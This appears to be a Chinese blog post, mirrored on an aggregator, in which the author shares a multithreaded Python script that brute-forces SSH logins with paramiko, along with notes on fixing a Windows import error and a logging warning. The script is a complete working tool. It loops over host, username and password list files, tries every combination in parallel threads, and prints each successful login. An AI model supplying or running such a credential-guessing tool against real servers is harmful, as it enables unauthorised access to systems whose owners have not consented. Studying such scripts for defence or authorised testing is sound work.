zoukankan      html  css  js  c++  java
  • python ssh弱口令爆破多线程脚本及遇到的一些错误与问题

    练习写了个SSH弱口令爆破多线程脚本,遇到的问题

    1、一开始想import pexpect 中的pxssh 然而却一直该有错误,

    ImportError: cannot import name spawn

    google了下问题都说的很模糊也不清楚。有的说是pexpect模块没安装好,有的说是python import的问题,因为在lib中已经有了spawn模块,与pexpect模块中的spawn重名了,所以报错。但也都没说清楚该这么弄。最后在here这里看到了问题原因,原来是pexpect根本不支持windows,我们可以用paramiko模块来解决这个问题。

    2、写完代码后,使用多线程后,虽然不报错,但结果会有警告,

    提示:No handlers could be found for logger “paramiko.transport”

    我在这个网站this_web找到解决方案。只要加入一行代码就行了。

    paramiko.util.log_to_file("filename.log")

    因为我们没有配置日志,所以根应用程序和模块不知道在哪里发送日志。所以只要将所有的连接都记录到文件中就可以啦。

    代码丑将就看看。

    #!usr/bin/env python
    #!coding=utf-8
    
    __author__='zhengjim'
    
    import paramiko
    from threading import Thread
    
    def connect(host,user,pwd):
        try:
            ssh=paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(hostname=host,username=user,password=pwd,timeout=5)
            ssh.close()
            print '破解成功!用户名:'+ user +',密码:' + pwd + ',主机IP:'+ host
        except:
            pass
    
    paramiko.util.log_to_file("filename.log") 
    host=open('host.txt')
    for line in host:
        host=line.strip('
    ')
        print '开始爆破主机:'+host
        user=open('user.txt')
        for line in user:
            user=line.strip('
    ')
            pwd =open('pwd.txt')
            for line in pwd:
                pwd = line.strip('
    ')
                t=Thread(target=connect,args=(host,user,pwd))
                t.start()

      

    目录下需要host.txt,user.txt,pwd.txt三个文件

    还有个问题就是,因为使用多线程,并且对多线程不太了解,所以程序不能在匹配到正确账号密码后跳出循环。望大牛可以教教我。~

  • 相关阅读:
    Linux下修改Mysql的用户(root)的密码
    Mysql 用户权限管理
    mysql的四种启动方式
    MySQL慢日志的相关参数
    mysqlsla slow-query常用用法

    导包和模块注意的问题
    Python面向对象之魔法方法/双下方法
    __new__问题
    转:Python常见字符编码及其之间的转换
  • 原文地址:https://www.cnblogs.com/zhengjim/p/5626226.html
Copyright © 2011-2022 走看看